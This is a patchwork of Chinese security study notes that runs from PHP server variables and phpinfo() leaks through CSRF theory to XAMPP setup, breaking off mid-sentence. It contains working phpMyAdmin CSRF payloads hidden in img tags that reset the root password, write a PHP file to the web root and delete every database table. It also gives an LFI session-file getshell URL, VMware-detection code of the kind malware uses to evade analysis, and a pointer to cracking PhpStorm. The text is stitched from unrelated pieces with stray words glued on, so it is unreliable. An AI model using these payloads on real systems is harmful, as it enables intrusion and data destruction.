PHP开放源码和跨越平台,PHP能够运行在WINDOWS和多种版本的LINUX上。它不须要任何预先处理而快速反馈结果,它也不须要mod_perl的调整来使您的服务器的内存映象减少。PHP消耗的资源较少,当PHP做为ApacheWeb服务器一部分时,运行代码不须要调用外部二进制程序,服务器不须要承担任何额外的负担。php
$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言 $_SERVER['REMOTE_ADDR'] //当前用户 IP 。 $_SERVER['REMOTE_HOST'] //当前用户主机名 $_SERVER['REQUEST_URI'] //URL $_SERVER['REMOTE_PORT'] //端口。 $_SERVER['SERVER_NAME'] //服务器主机的名称。 $_SERVER['PHP_SELF']//正在执行脚本的文件名 $_SERVER['argv'] //传递给该脚本的参数。 $_SERVER['argc'] //传递给程序的命令行参数的个数。 $_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。 $_SERVER['SERVER_SOFTWARE'] //服务器标识的字串 $_SERVER['SERVER_PROTOCOL'] //请求页面时通讯协议的名称和版本 $_SERVER['REQUEST_METHOD']//访问页面时的请求方法 $_SERVER['QUERY_STRING'] //查询(query)的字符串。 $_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录 $_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。 $_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。 $_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容 $_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。 $_SERVER['HTTP_HOST'] //当前请求的 Host: 头部的内容。 $_SERVER['HTTP_REFERER'] //连接到当前页面的前一页面的 URL 地址。 $_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。 $_SERVER['HTTPS']//若是经过https访问,则被设为一个非空的值(on),不然返回off $_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。 $_SERVER['SERVER_ADMIN'] #管理员信息 $_SERVER['SERVER_PORT'] #服务器所使用的端口 $_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。 $_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。 $_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面须要指向本身时很是有用。 $_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,而且正在使用 HTTP 认证功能,这个变量即是用户输入的用户名。 $_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,而且正在使用 HTTP 认证功能,这个变量即是用户输入的密码。 $_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,而且正在使用 HTTP 认证功能,这个变量即是认证的类型
if('/'==DIRECTORY_SEPARATOR){ $server_ip=$_SERVER['SERVER_ADDR']; }else{ $server_ip=@gethostbyname($_SERVER['SERVER_NAME']); } echo $server_ip;
/** * 获取服务器端IP地址 * @return string */ function get_server_ip(){ if(isset($_SERVER)){ if($_SERVER['SERVER_ADDR']){ $server_ip=$_SERVER['SERVER_ADDR']; }else{ $server_ip=$_SERVER['LOCAL_ADDR']; } }else{ $server_ip = getenv('SERVER_ADDR'); } return $server_ip; } echo get_server_ip();
这一部分很是很是重要html
PHP中提供了PHPInfo()函数,该函数返回 PHP 的全部信息,包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操做系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息。java
PHPInfo()函数主要用于网站建设过程当中测试搭建的PHP环境是否正确,不少网站在测试完毕后并无及时删除,所以当访问这些测试页面时,会输出服务器的关键信息,==这些信息的泄露将致使服务器被渗透的风险==python
(1)语法:int phpinfo(void);
他的返回值是一个整数
(2)使用方式:列如新建一个.php文件vi test.php
输入:<?php phpinfo(); ?>
mysql
来看一下泄漏了哪些比较敏感的信息。
1.++绝对路径(_SERVER[“script_FILENAME”])++
找到phpinfo()页面能够直接找到网站的绝对路径,对于写shell和信息搜集是必不可少的。
ep1:(PHP $_SERVER['SCRIPT_FILENAME'] 与 FILE)git
<?php echo 'SCRIPT_FILENAME 为:',$_SERVER['SCRIPT_FILENAME']; echo '<br />'; echo '__FILE__ 为:',__FILE__; ?>
上述测试代码拷贝至 test.php 并访问该文件(http://localhost/test.php),获得以下结果:github
SCRIPT_FILENAME 为:E:/web/html/php/test.php __FILE__ 为:E:\web\html\php\test.php
2.++支持的程序++
能够经过phpinfo()
查看一些特殊的程序服务,在没有思路的状况下,能够着重找一下ssrfweb
3.++泄漏真实ip(_SERVER[“SERVER_ADDR”]或SERVER_ADDR)++sql
4.++泄漏缓存文件地址(_FILES[“file1”])++
向phpinfo() post一个shell能够在_FILES[“file1”]中看到上传的临时文件,若是有个lfi,即可以直接getshell了。shell
5.++一些敏感配置++
allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等。
好比allow_url_include可用来远程文件包含、disable_functions用来查看禁用函数,绕过执行、查看是否开启open_basedir,用p牛的绕过open_basedir的方法有可能能读一些没权限的目录等等。
咱们简单用图片说明一下
咱们能够看到PHP的版本
加载的php.ini文件,咱们是能够看到该文件的路径的
还有就是php的zend(通常用于加密/提升性能)的版本和zend optimizers(一个为加速php脚本的执行,第二为给用zend加密的文件解密)的版本
PS:若是php的脚本没有通过加密,那么zend optimizer能够不用安装!
论坛文件目录中的api里面的一些文件是通过加密的,
supesite( SupeSite能够实现对站内的论坛(Discuz!)、我的空间(X-Space)信息进行内容聚合。任何站长,均可以经过SupeSite,轻松构建一个面向Web2.0的社区门户。)的主程序的文件也是通过加密的,因此对于论坛来讲,若是你想使用支付宝,奇虎搜索什么的,就必须安装zend optimizers,若是你想要安装supesite,必须得安装好zend optimizer!
关于zend optimizer的加速功能,通常可让php的执行速度提升到30%左右!
因此若是是独立主机用户,最好是将zend optimizer安装上,这样不只能够起到加速的做用,并且可使你的空间彻底
支持论坛和supesite!
PS:
简单介绍一下安装过程
下载安装包后,直接双击安装便可,安装过程要你选择 Web Server 时,选择 Apache 2.x ,而后提示你是否 Restart Web Server,选择是,完成安装以前提示是否备份 php.ini ,点肯定后安装完成。
Zend Optimizer 的加密做用
咱们本身写一个php文件,里面就1行代码
<?php phpinfo(); ?>
把它保存为phpinfo.php,上传到服务器上,而后访问这个 PHP 文件。
若是看到里面有 Zend Optimizer 的版本信息。就说明服务器上支持 Zend Optimizer。版本信息通常是这样的:
with Zend Optimizer v版本号, Copyright (c) 1998-2007, by Zend Technologies
只要包含有 with Zend Optimizer,说明服务器支持 Zend Optimizer
上面指出zend的内核版本,下面指出zend optimizers版本,要使用咱们的SupeSite产品,必须还得安装后者。固然zend optimizers安装时候,在页面里还有专门有一个zend optimizers模块,见图5
加载的模块
phpinfo会列出你的系统的php加载了哪些模块,而后下面介绍几个比较重要的模块,第一个是gd库模块,不少用户不知道他的空间或者系统是否支持gd库,因此不肯定是否能够用水印和缩略图功能,在phpinfo页面,一样能够展现gd库的信息,包括版本,freetype库,gif支持,jpg支持,png支持等等,这些都是颇有用的信息,好比支持水印图片为gif的,那你的gd库就有得gig支持。如图所示:
mysql模块
第二个重要的就是mysql模块。不少用户认为只要成功安装mysql,他就能够安装Discuz!论坛了,其实这
是一个误区,由于你没有确认你的php是否加载上了mysql支持。phpinfo就能够很好的检验到。若是你的
phpinfo页面没有列出mysql模块扩展,那说明你的环境没有配置好
扩展模块
php的其余扩展模块吧,好比mbstring,是支持宽字符集;ftp,这是支持Discuz!论坛后台的ftp附件,还有就是socket,这个是有些安装了supesite播客的用户支持影音上传的;ming,是支持Discuz!后台的Flash 验证码的。
phpinfo实在是一个很好的检验php环境的工具,你们若是遇到问题,不妨按照咱们上面的,看看是否是哪些模块没加载上,若是访问phpinfo页面的时候变成了下载,那是你的php自己就没安好
CSRF 跨站点请求伪造(Cross—Site Request Forgery)。
个人理解就是:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来讲这个请求是彻底合法的,可是却完成了攻击者所指望的一个操做,好比以你的名义发送邮件、发消息,盗取你的帐号,添加系统管理员,甚至于购买商品、虚拟货币转帐等。
原理图:
图CSRF原理图
这是一种对网站的恶意利用,CSRF比XSS更具危险性。想要深刻理解CSRF的攻击特性咱们有必要了解一下网站session的工做原理。
session,中文常常翻译为会话,其原本的含义是指善始善终的一系列动做/消息,好比打电话时从拿起电话拨号到挂断电话这中间的一系列过程能够称之为一个session。有时候咱们能够看到这样的话“在一个浏览器会话期间,...”,这里的会话一词用的就是其本义,是指从一个浏览器窗口打开到关闭这个期间①。最混乱的是“用户(客户端)在一次会话期间”这样一句话,它可能指用户的一系列动做(通常状况下是同某个具体目的相关的一系列动做,好比从登陆到选购商品到结帐登出这样一个网上购物的过程,有时候也被称为一个transaction),然而有时候也可能仅仅是指一次链接,也有多是指含义。
然而当session一词与网络协议相关联时,它又每每隐含了“面向链接”和/或“保持状态”这样两个含义,“面向链接”指的是在通讯双方在通讯以前要先创建一个通讯的渠道,好比打电话,直到对方接了电话通讯才能开始,与此相对的是写信,在你把信发出去的时候你并不能确认对方的地址是否正确,通讯渠道不必定能创建,但对发信人来讲,通讯已经开始了。“保持状态”则是指通讯的一方可以把一系列的消息关联起来,使得消息之间能够互相依赖,好比一个服务员可以认出再次光临的老顾客而且记得上次这个顾客还欠店里一块钱。这一类的例子有“一个TCP session”或者“一个POP3 session”③。
session在web开发语境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器之间保持状态的解决方案④。有时候session也用来指这种解决方案的存储结构,如“把xxx保存在session里”⑤。因为各类用于web开发的语言在必定程度上都提供了对这种解决方案的支持,因此在某种特定语言的语境下,session也被用来指代该语言的解决方案,好比常常把Java里提供的javax.servlet.http.HttpSession简称为session。
HTTP协议自己是无状态的,这与HTTP协议原本的目的是相符的,客户端只须要简单的向服务器请求下载某些文件,不管是客户端仍是服务器都没有必要纪录彼此过去的行为,每一次请求之间都是独立的。
人们发现提供一些按需生成的动态信息会使web变得更加有用,就像给有线电视加上点播功能同样。这种需求一方面迫使HTML逐步添加了表单、脚本、DOM等客户端行为,另外一方面在服务器端则出现了CGI规范以响应客户端的动态请求,做为传输载体的HTTP协议也添加了文件上载、cookie这些特性。其中cookie的做用就是为了解决HTTP协议无状态的缺陷所做出的努力。至于后来出现的session机制则是又一种在客户端与服务器之间保持状态的解决方案。
具体来讲cookie机制采用的是在客户端保持状态的方案,而session机制采用的是在服务器端保持状态的方案。同时咱们也看到,因为采用服务器端保持状态的方案在客户端也须要保存一个标识,因此session机制可能须要借助于cookie机制来达到保存标识的目的,
咱们举个简单的例子:
一、该店的店员很厉害,能记住每位顾客的消费数量,只要顾客一走进咖啡店,店员就知道该怎么对待了。这种作法就是协议自己支持状态。 (HTTP协议是无状态的,而出于种种考虑也不但愿使之成为有状态的)
二、发给顾客一张卡片,上面记录着消费的数量,通常还有个有效期限。每次消费时,若是顾客出示这张卡片,则这次消费就会与之前或之后的消费相联系起来。这种作法就是在客户端保持状态。
三、发给顾客一张会员卡,除了卡号以外什么信息也不纪录,每次消费时,若是顾客出示该卡片,则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种作法就是在服务器端保持状态。
正统的cookie分发是经过扩展HTTP协议来实现的,服务器经过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。(纯粹的客户端脚本如JavaScript或者VBScript也能够生成cookie。)
而cookie的使用是由浏览器按照必定的原则在后台自动发送给服务器的。浏览器检查全部存储的cookie,若是某个cookie所声明的做用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。
cookie的内容主要包括:名字,值,过时时间,路径和域。
session机制是一种服务器端的机制,服务器使用一种相似于散列表(PS :根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它经过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。)的结构(也可能就是使用散列表)来保存信息。
当程序须要为某个客户端的请求建立一个session的时候,服务器首先检查这个客户端的请求里是否已包含了一个session标识 - 称为session id,若是已包含一个session id则说明之前已经为此客户端建立过session,服务器就按照session id把这个session检索出来使用(若是检索不到,可能会新建一个),若是客户端请求不包含session id,则为此客户端建立一个session而且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个session id将被在本次响应中返回给客户端保存。
保存这个session id的方式能够采用cookie,这样在交互过程当中浏览器能够自动的按照规则把这个标识发挥给服务器。通常这个cookie的名字都是相似于SEEESION ID.
EP:weblogic对于web应用程序生成的cookie
JSESSIONID=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
的名字就是JSESSIONID。
http://...../xxx;jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcE
http://...../xxx?jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
更详细的session应用问题咱们能够参考博客:https://www.cnblogs.com/lonelydreamer/p/6169469.html
因此咱们总结一下CSRF攻击步骤:
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登陆网站A;
在用户信息经过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登陆网站A成功,能够正常发送请求到网站A;
用户未退出网站A以前,在同一浏览器中,打开一个TAB页访问网站B;
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的状况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求实际上是由B发起的,因此会根据用户C的Cookie信息以C的权限处理该请求,致使来自网站B的恶意代码被执行。
网上看到一个很形象的例子:(CSRF实例攻击)
受害者 Bob 在银行有一笔存款,经过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可使 Bob 把 1000000 的存款转到 bob2 的帐号下。一般状况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,而且该 session 的用户 Bob 已经成功登录。
黑客 Mallory 本身在该银行也有帐户,他知道上文中的 URL 能够把钱进行转账操做。Mallory 能够本身发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。可是这个请求来自 Mallory 而非 Bob,他不能经过安全认证,所以该请求不会起做用。
这时,Mallory 想到使用 CSRF 的攻击方式,他先本身作一个网站,在网站中放入以下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,而且经过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一块儿发向银行服务器。大多数状况下,该请求会失败,由于他要求 Bob 的认证信息。可是,若是 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 还没有过时,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会获得响应,钱将从 Bob 的帐号转移到 Mallory 的帐号,而 Bob 当时绝不知情。等之后 Bob 发现帐户钱少了,即便他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则能够拿到钱后逍遥法外。
随着对CSRF漏洞研究的不断深刻,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
CSRF攻击的主要目的是让用户在不知情的状况下攻击本身已登陆的一个系统,相似于钓鱼。
如用户当前已经登陆了邮箱,或bbs,同时用户又在使用另一个,已经被你控制的站点,咱们姑且叫它钓鱼网站。这个网站上面可能由于某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,因为当前你的浏览器状态已是登录状态,因此session登录cookie信息都会跟正常的请求同样,纯自然的利用当前的登录状态,让用户在不知情的状况下,帮你发帖或干其余事情。
经过 referer、token 或者 验证码 来检测用户提交。
尽可能不要在页面的连接中暴露用户隐私信息。
对于用户修改删除等操做最好都使用post 操做。
避免全站通用的cookie,严格设置cookie的域。
phpMyAdmin是一个以PHP(一种开源脚本语言)为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口能够成为一个简易方式输入繁杂SQL语法的较佳途径,尤为要处理大量资料的汇入及汇出更为方便。其中一个更大的优点在于因为phpMyAdmin跟其余PHP程式同样在网页服务器上执行,可是您能够在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的创建、修改、删除数据库及资料表。也可借由phpMyAdmin创建经常使用的php语法,方便编写网页时所须要的sql语法正确性
phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者能够经过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。
咱们能够结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。
在线 phpMyAdmin CSRF
(PS:注:重启演示靶机便可重置靶机)
点击 建立VulnSpy 提供的建立靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)
跳转到 VSPlate 后,直接点击GO按钮,便会自动建立一个 phpMyAdmin 环境
打开演示地址的连接,咱们的 phpMyAdmin 就建立完成了。
使用账号 root ,密码 toor ,登陆 phpMyAdmin 。根据页面信息,咱们能够发现当前 phpMyAdmin 的版本为 4.7.6,恰好匹配存在漏洞的 phpMyAdmin 版本。
若是要利用CSRF来删除或修改数据库内容,通查状况下须要提早知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,所以我作了两个几种较为通用的利用方式。
在MySQL中支持使用SQL语句来修改当前用户密码。好比将当前用户密码修改成www.vulnspy.com
,对应的SQL语句为:
SET passsword=PASSWORD('www.vulnspy.com');
用账号 root 密码 toor 登陆 phpMyAdmin 。
首先创建一个html文件:vi 2.payload.html
简单一点就只让他显示helloworld吧,由于目的是让他打开,内容不重要。
代码以下:
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
紧接着咱们回到2.1中打开的界面,发现已自动退出,并且用原来的密码 toor 已经没法登陆
MySQL支持将查询结果写到文件当中,咱们能够利用该特性来写入++PHP++文件。好比将代码<?php phpinfo();?>
写到文件/var/www/html/test.php中,对应的SQL语句为:
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
如何作到大范围破坏,并产生直接影响呢,咱们能够利用SQL语句来清空当前MySQL用户可操做的全部数据表。
1)获取数据名和表名
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
2)将其拼接成删除语句,经过 execute 来执行生成的删除语句:
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1); prepare stmt from @del; execute stmt;
3)execute 一次只能执行一条SQL语句,所以咱们能够利用循环语句来逐一执行
DROP PROCEDURE IF EXISTS EMPT; DELIMITER $$ CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0; WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1); PREPARE STMT FROM @del; EXECUTE STMT; SET i = i +1; END WHILE; END $$ DELIMITER ; CALL EMPT();
<p>Hello World</p> <img src="虚拟地址/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
哎??咱们发现:数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。
ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell。该漏洞利用不要求root账号,只需可以登陆 phpMyAdmin 便可以利用。
这一部分咱们须要先了解一下LFI漏洞(本地文件包含漏洞)
<!–?php include($_GET['pages'].‘.php’); ?–>
主要涉及到的函数有:
include(),require()、include_once(),require_once()
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and max_input_time()等
利用总结见:LFI漏洞利用总结
咱们继续使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用。
简而言之phpMyAdmin 4.8.x 本地文件包含漏洞就是经过编码绕过白名单检测。而后编者又发现:把WebShell当作数据表的字段值是能够完美的写入到数据库文件当中的!
跟上一个漏洞同样,咱们建立完成后进行登陆:
select '<?php phpinfo();exit;?>'
这样对应的SESSION文件为/var/lib/php/sessions/sess_SESSION ID。
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
bool CheckVMware1() { __asm { rdtsc xchg ebx, eax rdtsc sub eax, ebx cmp eax, 0xFF jg detected } return FALSE; detected: return TRUE; }
HKEY_CLASSES_ROOT\\Applications\\VMwareHostOpen.exe
。bool CheckVMware2() { HKEY hkey; if (RegOpenKey(HKEY_CLASSES_ROOT, "\\Applications\\VMwareHostOpen.exe", &hkey) == ERROR_SUCCESS) { return TRUE; } else { return FALSE; } }
vmtoolsd.exe
。bbool CheckVMware3() { PROCESSENTRY32 pe32; //存放快照进程信息的一个结构体 pe32.dwSize = sizeof(pe32); //在使用这个结构以前,先设置它的大小 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //给系统内的全部进程拍一个快照 if (hProcessSnap == INVALID_HANDLE_VALUE) { return FALSE; } bool bMore = Process32First(hProcessSnap, &pe32); while (bMore) { if (strcmp((const char *)pe32.szExeFile, "vmtoolsd.exe") == 0) { return TRUE; } bMore = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); return FALSE; }
C:\Program Files\VMware\VMware Tools\
。bool CheckVMware4() { if (PathIsDirectory("C:\\Program Files\\VMware\\VMware Tools\\") == 0) { return FALSE; } else { return TRUE; } }
bool CheckVMware5() { //打开系统服务控制器 SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE); if (SCMan == NULL) { printf("%ld", GetLastError()); printf("OpenSCManager Eorror/n"); return -1; } //保存系统服务的结构 LPENUM_SERVICE_STATUSA service_status; DWORD cbBytesNeeded = NULL; DWORD ServicesReturned = NULL; DWORD ResumeHandle = NULL; service_status = (LPENUM_SERVICE_STATUSA)LocalAlloc(LPTR, 1024 * 64); //获取系统服务的简单信息 bool ESS = EnumServicesStatusA(SCMan, //系统服务句柄 SERVICE_WIN32, //服务的类型 SERVICE_STATE_ALL, //服务的状态 (LPENUM_SERVICE_STATUSA)service_status, //输出参数,系统服务的结构 1024 * 64, //结构的大小 &cbBytesNeeded, //输出参数,接收返回所需的服务 &ServicesReturned, //输出参数,接收返回服务的数量 &ResumeHandle); //输入输出参数,第一次调用必须为0,返回为0表明成功 if (ESS == NULL) { printf("EnumServicesStatus Eorror/n"); return -1; } for (int i = 0; i < ServicesReturned; i++) { if (strstr(service_status[i].lpDisplayName, "VMware Tools") != NULL || strstr(service_status[i].lpDisplayName, "VMware 物理磁盘助手服务") != NULL) { return TRUE; } } //关闭服务管理器的句柄 CloseServiceHandle(SCMan); return FALSE; }
int main() { int n; bool result; while (1) { printf("虚拟机检测技术:\n"); printf("1. 基于CPU运算时间的检测\n"); printf("2. 基于注册表的检测\n"); printf("3. 基于当前进程信息的检测\n"); printf("4. 基于特定文件的检测\n"); printf("5. 基于注册服务的检测\n"); printf("0. 退出\n"); printf("请选择:"); scanf("%d", &n); flushall(); printf("检测结果:"); switch (n) { case 0: return 0; case 1: result = CheckVMware1(); break; case 2: result = CheckVMware2(); break; case 3: result = CheckVMware3(); break; case 4: result = CheckVMware4(); break; case 5: result = CheckVMware5(); break; default:printf("输入错误,请从新输入!\n"); Sleep(2000); system("cls"); continue; } if (result) printf("yes!\n"); else printf("no!\n"); printf("按任意键返回主菜单\n"); getch(); flushall(); system("cls"); } return 0; }
主要编写2个文件:checkvm.dll
与testvm.exe
,下面分2部分详细介绍。
checkvm.h
、checkvm.cpp
、dllmain.cpp
、Source.def
bool chekvm();
bool checkvm() { int num = 0; if (CheckVMware1()) num++; if (CheckVMware2()) num++; if (CheckVMware3()) num++; if (CheckVMware4()) num++; if (CheckVMware5()) num++; if (num >= 4) { printf("This is a virtual machine!\n"); return FALSE; } else { printf("This is not a virtual machine!\n"); return TRUE; } }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
LIBRARY "checkvm" EXPORTS checkvm @1
checkvm.dll
所编写,调用checkvm.dll
中的checkvm()
函数便可,详细代码以下:int main() { HMODULE hmod = LoadLibrary("checkvm.dll"); //用于加载dll typedef int(*LoadProc)(); LoadProc Load_proc = (LoadProc)GetProcAddress(hmod, "checkvm"); //GetProcAddress()用于得到函数地址 int iRet = Load_proc(); getchar(); return 0; }
checkvm.dll
便可。XAMPP是最流行的PHP开发环境。 XAMPP是彻底免费且易于安装的Apache发行版,其中包含Apache、MariaDB、PHP和Perl。
相似XAMPP的服务器套件还有不少,我用过的还有UPUPW,它们都极大的简化了开发环境的配置。
十六款免费的服务器套件的介绍介绍了主流的免费服务器开发套件。
xampp下载地址:http://www.xampp.cc/
安装没什么好说的,“下一步”直到安装完成。
双击xampp安装目录下的xampp-control.exe,打开xampp控制面板。
点击Apache的“Start”按钮,启动Apache服务。 Apache服务的端口默认是80和443,若是电脑上装有虚拟机,443端口会被虚拟机占用,致使Apache服务启动失败。这种状况的修改方法以下:
① 打开任务管理器,找到找到vmware-hostd.exe进程,结束它。
② 打开VMware虚拟机,选择菜单“编辑”——>"首选项",以下图所示。
至于如何查看哪一个程序占用了哪一个端口,能够点xampp控制面板右侧的“Netstat”按钮,也能够在命令提示符窗口输入netstat -ano指令来查看这几个端口是否被占用。若占用,记住PID,而后在任务管理器里对于相应的PID,结束便可。若是任务管理器的列表中没有PID这一列,点击任务管理器的菜单“查看”——>“选择列”,勾选PID便可。
比较通用的修改方法以下: (这种方法直接改xampp的配置文件。)
①若是80端口被占用
将xampp\apache\conf这个目录下的httpd.conf 文件中 全部80换成其余值。
将xampp\apache\conf\extra这个目录下的 httpd-vhosts.conf 全部80换成其余值。
②若是是443端口被占用
将XAMPP\apache\conf\extra这个目录下的httpd-ssl.conf 全部443换成其余值。
点击MySQL的“Start”按钮,启动MySQL服务。 (若是电脑上以前安装过MySQL,xampp的MySQL服务启动失败) 正确的修改方法是: ①在命令提示符窗口输入regedit指令,打开注册表编辑器。
②找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL,将ImagePath的数据修改为xampp中mysq的位置,再次点击MySQL的 “Start”按钮,mysql服务正常启动。
若是MySQL的默认端口3306被占用,修改方法以下:
①修改占用该端口的外部程序,修改方法前面说过。 或者
②点击MySQL的 “Config”按钮,选择“my.ini”,打开该配置文件,并将其中的3306改为其余值。
测试
在浏览器输入http://localhost/dashboard/,出现以下页面,测试成功。
** 若是发现网页找不到,那就把以前改的端口(好比我改的是8001)放在localhost后面,即:localhost:8001**
除此以外咱们还要搭建PHPSTORM环境!!! 根据这个老哥的博客来完成环境的搭建
[安装XAMPP](http://www.cnblogs.com/Jason-Jan/p/7906773.html)
[安装并破解PhpStorm](http://www.cnblogs.com/Jason-Jan/p/7918449.html)
源码的部分是一个表单post给一个php页面,形象一点也就是说在html页面填好帐号密码,而后数据就会传给php来处理。
Html部分以下: (原参考博客该部分有误,已做出修改)
<!DOCTYPEhtml> <html> <head> <meta charset="utf-8"> <title>暴力破解测试页面</title> </head> <body> <div align="center"> <h1>暴力破解测试页面-low</h1></div> <form action="Loginl.php" method="post" name="form"> <fieldset> <legend><b>请输入信息</b></legend> <p>用户名:<input type="text" name="name" id="name"></p> <p>密码:<input type="password" name="password" id="password"></p> <p><input type="submit" value="登陆"></p> </fieldset> </form> </body> </html>
php部分以下
